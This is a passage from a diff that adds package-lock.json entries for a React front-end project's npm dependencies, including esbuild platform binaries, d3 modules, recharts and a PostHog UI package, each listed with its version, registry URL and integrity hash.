"sha512-9yl91rHw/cpwMCNytUDxwj2XjFpxML0y9HAOH9pNVQDpQrBxHy01Dx+vaMu0N1CKa/RzBD2hB4u//nfc+Sd3Cw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.0.tgz", + "integrity": "sha512-RuG4PSMPFfrkH6UwCAqBzauBWTygTvb1nxWasEJooGSJ/NwRw7b2HOwyRTQIU97Hq37l3npXoZGYMy3b3xYvPw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.0.tgz", + "integrity": "sha512-jl+qisSB5jk01N5f7sPCsBENCOlPiS/xptD5yxOx2oqQfyourJwIKLRA2yqWdifj3owQZCL2sn6o08dBzZGQzA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.0.tgz", + "integrity": "sha512-21sUNbq2r84YE+SJDfaQRvdgznTD8Xc0oc3p3iW/a1EVWeNj/SdUCbm5U0itZPQYRuRTW20fPMWMpcrciH2EJw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.0.tgz", + "integrity": "sha512-2gwwriSMPcCFRlPlKx3zLQhfN/2WjJ2NSlg5TKLQOJdV0mSxIcYNTMhk3H3ulL/cak+Xj0lY1Ym9ysDV1igceg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.0.tgz", + "integrity": "sha512-bxI7ThgLzPrPz484/S9jLlvUAHYMzy6I0XiU1ZMeAEOBcS0VePBFxh1JjTQt3Xiat5b6Oh4x7UC7IwKQKIJRIg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.0.tgz", + "integrity": "sha512-ZUAc2YK6JW89xTbXvftxdnYy3m4iHIkDtK3CLce8wg8M2L+YZhIvO1DKpxrd0Yr59AeNNkTiic9YLf6FTtXWMw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.0.tgz", + "integrity": "sha512-eSNxISBu8XweVEWG31/JzjkIGbGIJN/TrRoiSVZwZ6pkC6VX4Im/WV2cz559/TXLcYbcrDN8JtKgd9DJVIo8GA==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.0.tgz", + "integrity": "sha512-ZENoHJBxA20C2zFzh6AI4fT6RraMzjYw4xKWemRTRmRVtN9c5DcH9r/f2ihEkMjOW5eGgrwCslG/+Y/3bL+DHQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@floating-ui/core": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.8.0.tgz", + "integrity": "sha512-0CIZ5itps/8x7BG8dEIhs53BvCUH2PCoogtakwRTut+Arm58sJooJ0AuZhLw2HJYIR5cMLNPBSS728sPho2khQ==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/utils": "^0.2.12" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.8.0.tgz", + "integrity": "sha512-yXSrzeHZBTZadLOlfyhCkJHNeLJnHRnRInwdZ40L7ZiaAtrBwoYlsDrX3v5zB1Utk7CLfzcOVnVVWoXEky7Ceg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/core": "^1.8.0", + "@floating-ui/utils": "^0.2.12" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.9.tgz", + "integrity": "sha512-JDjEFGCpImxDCA7JJKviA0M9+RtmJdj0m/NVU5IMgBK+AmZouAQQ7/+2GLH0GXXY0YMw9oXPB8hKdbPYg5QLYg==", + "license": "MIT", + "peer": true, + "dependencies": { + "@floating-ui/dom": "^1.8.0" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.2.12", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.12.tgz", + "integrity": "sha512-HpCo8tmWzLVad5s2d19EhAz5zqrrQ6s69qd6moPMQvkOuSwDT1YgRfWSVuc4ennqrgv3OHppiOGMQ7oC13yIww==", + "license": "MIT", + "peer": true + }, + "node_modules/@posthog/quill": { + "version": "0.3.0-beta.18", + "resolved": "https://registry.npmjs.org/@posthog/quill/-/quill-0.3.0-beta.18.tgz", + "integrity": "sha512-ysYrP4T/J/GFXL0vwsP2ibaf2cqmZdIy2mBPbb4IkfJ8XcqrJ/vYbOUanQNAWZh6r/AFFWRRqwZP1o8t8sZLoQ==", + "license": "MIT", + "dependencies": { + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.577.0", + "react-resizable-panels": "^4.7.1", + "tailwind-merge": "^2.2.2" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "@base-ui/react": "^1.4.0", + "react": "^18.3.1 || ^19.0.0", + "react-dom": "^18.3.1 || ^19.0.0", + "tailwindcss": "^4.0.0" + } + }, + "node_modules/@posthog/quill/node_modules/lucide-react": { + "version": "0.577.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz", + "integrity": "sha512-4LjoFv2eEPwYDPg/CUdBJQSDfPyzXCRrVW1X7jrx/trgxnxkHFjnVZINbzvzxjN70dxychOfg+FTYwBiS3pQ5A==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==", + "license": "MIT" + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/esbuild": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.0.tgz", + "integrity": "sha512-BXq5mqc8ltbaN34cDqWuYKyNhX8D/Z0J1xdtdQ8UcIIIyJyz+ZMKUt58tF3SrZ85jcfN/PZYhjR5uDQAYNVbuw==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.0", + "@esbuild/android-arm": "0.25.0", + "@esbuild/android-arm64": "0.25.0", + "@esbuild/android-x64": "0.25.0", + "@esbuild/darwin-arm64": "0.25.0", + "@esbuild/darwin-x64": "0.25.0", + "@esbuild/freebsd-arm64": "0.25.0", + "@esbuild/freebsd-x64": "0.25.0", + "@esbuild/linux-arm": "0.25.0", + "@esbuild/linux-arm64": "0.25.0", + "@esbuild/linux-ia32": "0.25.0", + "@esbuild/linux-loong64": "0.25.0", + "@esbuild/linux-mips64el": "0.25.0", + "@esbuild/linux-ppc64": "0.25.0", + "@esbuild/linux-riscv64": "0.25.0", + "@esbuild/linux-s390x": "0.25.0", + "@esbuild/linux-x64": "0.25.0", + "@esbuild/netbsd-arm64": "0.25.0", + "@esbuild/netbsd-x64": "0.25.0", + "@esbuild/openbsd-arm64": "0.25.0", + "@esbuild/openbsd-x64": "0.25.0", + "@esbuild/sunos-x64": "0.25.0", + "@esbuild/win32-arm64": "0.25.0", + "@esbuild/win32-ia32": "0.25.0", + "@esbuild/win32-x64": "0.25.0" + } + }, + "node_modules/eventemitter3": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT" + }, + "node_modules/fast-equals": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-5.4.1.tgz", + "integrity": "sha512-DjlFSM5Pk9cGcL0q5QXl66eGzx0N6szNgaswwc5ZphlBohjTVJSnGgI+rJVOgOi65qUoQnDZN4nDqi33udtydQ==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lucide-react": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.21.0.tgz", + "integrity": "sha512-reEZMXq8Qdd5jg5XYkQ5TR1fB/GiQ7ih4vcrthYDtgjSDwh0i6/YLiGjsWsIwgN49gpAnd4J2elSNzncMEEUUQ==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/react": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.0.0.tgz", + "integrity": "sha512-V8AVnmPIICiWpGfm6GLzCR/W5FXLchHop40W4nXBmdlEceh16rCN8O8LNWm5bh5XUX91fh7KpA+W0TgMKmgTpQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.0.0.tgz", + "integrity": "sha512-4GV5sHFG0e/0AD4X+ySy6UJd3jVl1iNsNHdpad0qhABJ11twS3TTBnseqsKurKcsNqCEFeGL3uLpVChpIO3QfQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.25.0" + }, + "peerDependencies": { + "react": "^19.0.0" + } + }, + "node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "license": "MIT" + }, + "node_modules/react-resizable-panels": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.12.2.tgz", + "integrity": "sha512-NwY5LCo4WrxVvDh0xoMML6EMLPONP/8ckKcIdpnojxexoatZdjLiRqLJQjQK5CPkd4SYiB/2M5BVrjZBQtOO7Q==", + "license": "MIT", + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-smooth": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/react-smooth/-/react-smooth-4.0.4.tgz", + "integrity": "sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==", + "license": "MIT", + "dependencies": { + "fast-equals": "^5.0.1", + "prop-types": "^15.8.1", + "react-transition-group": "^4.4.5" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz", + "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/recharts": { + "version": "2.15.0", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-2.15.0.tgz", + "integrity": "sha512-cIvMxDfpAmqAmVgc4yb7pgm/O1tmmkl/CjrvXuW+62/+7jj/iF9Ykm+hb/UJt42TREHMyd3gb+pkgoa2MxgDIw==", + "deprecated": "1.x and 2.x branches are no longer active. Bump to Recharts v3 to receive latest features and bugfixes. See https://github.com/recharts/recharts/wiki/3.0-migration-guide", + "license": "MIT", + "dependencies": { + "clsx": "^2.0.0", + "eventemitter3": "^4.0.1", + "lodash": "^4.17.21", + "react-is": "^18.3.1", + "react-smooth": "^4.0.0", + "recharts-scale": "^0.4.4", + "tiny-invariant": "^1.3.1", + "victory-vendor": "^36.6.8" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "react": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/recharts-scale": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/recharts-scale/-/recharts-scale-0.4.5.tgz", + "integrity": "sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==", + "license": "MIT", + "dependencies": { + "decimal.js-light": "^2.4.1" + } + }, + "node_modules/reselect": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.2.0.tgz", + "integrity": "sha512-AgZ3UOZm3YndfrJ4OYjgrT7bmCm/1iqkjvEfH/oYjzh6PD2qw4QuT3jjnXIrpdt4MTpMXclMT3lXbmRY+XRakw==", + "license": "MIT", + "peer": true + }, + "node_modules/scheduler": { + "version": "0.25.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.25.0.tgz", + "integrity": "sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==", + "license": "MIT" + }, + "node_modules/tailwind-merge": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.6.1.tgz", + "integrity": "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-4.3.3.tgz", + "integrity": "sha512-gOhV3P7ufE62QDGg1zVaTgCR+EtPv92k2nIhVcVKcLmxT1sUBsQGhnZj175j+MqRt4zLF7ic+sCYjfhxMxj7YQ==", + "license": "MIT", + "peer": true + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peer": true, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/victory-vendor": { + "version": "36.9.2", + "resolved": 